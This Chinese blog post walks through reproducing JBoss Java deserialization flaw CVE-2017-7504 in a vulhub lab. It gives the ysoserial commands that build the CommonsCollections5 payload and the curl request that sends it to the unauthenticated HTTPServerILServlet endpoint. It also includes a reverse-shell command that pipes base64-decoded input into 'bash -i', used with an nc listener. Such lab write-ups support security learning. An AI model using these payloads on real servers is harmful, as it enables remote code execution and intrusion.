JBoss 反序列化漏洞 CVE-2017-7504
影响范围
- JBoss AS 3.2.0 - 4.2.3.GA
漏洞类型
Java 反序列化
操作系统限制
无
配置要求
默认配置
漏洞利用
命令执行,反弹 shell
利用原理
JBoss AS 默认集成了一个用于 HTTP 协议传输信息的组件 JBossMQ,其组件含有一个名为 HTTPServerILServlet 的接口,该接口访问路径/jbossmq-httpil/HTTPServerILServlet 无需校验即可访问,Servlet 处理 POST 请求数据时,直接调用 readObject () 方法来反序列化数据流,且未对传入对象进行安全过滤或白名单限制,攻击者利用 yoserial 工具生成恶意系列化二进制数据,通过 HTTP 请求发送到靶机,JBoss 解析对象时自动触发对象内部嵌套的恶意代码
漏洞复现
现成的 vulhub 来拉取镜像
1 | #下载vulhub源代码 |

下载攻击工具并检查是否有 Java 环境
1 | wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar |

使用 ysoserial 生成序列化数据
1 | java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > payload.ser |

用 curl 发送 payload
1 | curl http://靶机ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @payload.ser |

进入容器查看 tmp 文件夹,发现 success,说明成功复现漏洞

下面进行反弹 shell,开启 nc 监听

把执行命令换成反弹 shell
1 | java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}" > payload.ser |

发送攻击 payload

成功连接

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Johan的秘密小窝!
评论